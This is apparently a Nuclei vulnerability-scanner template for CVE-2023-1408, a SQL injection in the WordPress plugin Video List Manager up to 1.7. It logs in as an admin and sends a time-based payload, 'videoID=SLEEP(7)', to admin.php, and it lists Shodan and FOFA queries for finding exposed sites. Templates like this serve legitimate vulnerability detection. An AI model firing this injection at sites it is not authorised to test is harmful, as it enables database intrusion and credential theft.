id: CVE-2023-1408

info:
  name: Video List Manager <= 1.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.
  impact: |
    Authenticated high-privilege attackers (admin) can exploit SQL injection through the videoID parameter to extract database contents, potentially stealing user credentials, video metadata, and compromising the WordPress database.
  remediation: |
    Update Video List Manager plugin to a version newer than 1.7 that uses parameterized queries or prepared statements for the videoID parameter in admin.php.
  reference:
    - https://wpscan.com/vulnerability/baf7ef4d-b2ba-48e0-9c17-74fa27e0c15b
    - https://wordpress.org/plugins/video-list-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1408
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-1408
    cwe-id: CWE-89
    epss-score: 0.03229
    epss-percentile: 0.86624
    cpe: cpe:2.3:a:video_list_manager_project:video_list_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: video_list_manager_project
    product: video_list_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/video-list-manager/
    fofa-query: body=/wp-content/plugins/video-list-manager/
    publicwww-query: /wp-content/plugins/video-list-manager/
  tags: time-based-sqli,cve,cve2023,wpscan,sqli,wordpress,wp-plugin,wp,authenticated,video_list_manager_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP(7) HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "Edit Video","Youtube</option>")'
        condition: and
# digest: 4b0a00483046022100903620829d4f6085cba6a83203cb1d27b78915ed1e4056650103efdca96b769f022100c9946e1aae43966619c29c2089f7458c7f6fc49ae4cf073ec2f87bd963d26c06:922c64590222798bb761d5b6d8e72950